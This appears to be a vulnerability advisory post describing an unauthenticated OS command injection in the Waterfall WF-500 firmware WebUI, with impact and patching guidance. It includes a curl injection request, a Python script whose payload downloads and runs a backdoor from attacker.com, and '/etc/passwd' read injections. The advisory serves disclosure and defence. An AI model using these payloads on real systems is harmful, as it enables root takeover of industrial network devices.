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The vulnerability is rooted in the Console WebUI component of the Waterfall WF-500 firmware, where user-supplied input is directly concatenated into an operating system command string without prior validation or sanitization. Specifically, when a remote, unauthenticated attacker sends a crafted HTTP POST request to the vulnerable endpoint, the injected command delimiters — such as semicolons, pipes, or backticks — are not escaped or neutralized. Consequently, the web application passes the entire payload, including the malicious injection, to the underlying operating system shell for execution. This occurs because the developers failed to use parameterized APIs or safe system call functions (e.g., avoiding calls like system(), popen(), or `Runtime.exec()` when external input is involved). The flaw exists on both the TX (transmit) and RX (receive) host variants running firmware version 7.9.1.0 R2502171040. An attacker with network access to the device’s WebUI port (typically TCP/443 for HTTPS or TCP/80 for HTTP) can exploit this without any prior authentication. Once the command is executed, it runs with the same privileges as the web server process, which on these embedded devices typically means root-level access. This allows the attacker to not only read or write files but also modify system configurations, disable logging, pivot to other internal network segments, and potentially disrupt industrial control processes. The lack of any output filtering in many endpoints also means that the results of injected commands (e.g., id, ls -la, or cat /etc/passwd) are often reflected back in the HTTP response, making this a classic yet highly critical command injection flaw.
DailyCVE Form:
Platform: Waterfall WF-500
Version: 7.9.1.0 R2502171040
Vulnerability: OS Command Injection
Severity: Critical (CVSS 9.8)
date: 2026-05-29
Prediction: 2026-07-01
What Undercode Say:
The following command demonstrates a system enumeration attempt through the vulnerable WebUI: This example assumes the target is at https://192.168.1.100/console curl -k -X POST "https://192.168.1.100/console/diagnostic" \ -H "Content-Type: application/x-www-form-urlencoded" \ --data "action=ping&host=127.0.0.1; id > /tmp/out.txt"
Simple Python script to test for injection (blind command injection)
import requests
target = "https://192.168.1.100/console/diagnostic"
payload = "127.0.0.1; wget http://attacker.com/backdoor.sh -O /tmp/backdoor.sh; sh /tmp/backdoor.sh"
requests.post(target, data={"action": "ping", "host": payload}, verify=False, timeout=5)
Exploit:
Exploitation is achieved by injecting command separators (;, &, |, `, $()) into the `host` parameter of the Console WebUI diagnostic endpoint. Example injection: 127.0.0.1; cat /etc/passwd. The server executes the injected command with root privileges, allowing full system compromise.
Protection:
- Immediately upgrade to firmware version v7.10.0.0 R2601141040.
- If immediate patching is not possible, restrict network access to the Console WebUI (port 443/80) to only trusted management stations.
- Deploy network-based IDS/IPS signatures to detect command injection patterns.
- Segment the WF-500 devices into a dedicated management VLAN with strict egress filtering.
Impact:
Successful exploitation leads to complete remote compromise of the affected Waterfall WF-500 host. An attacker can gain root-level shell access, read and modify sensitive configuration files, deploy persistent backdoors, disrupt industrial control system (ICS) monitoring, and use the compromised device as a pivot point to attack internal critical infrastructure.
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Sources:
Reported By: nvd.nist.gov
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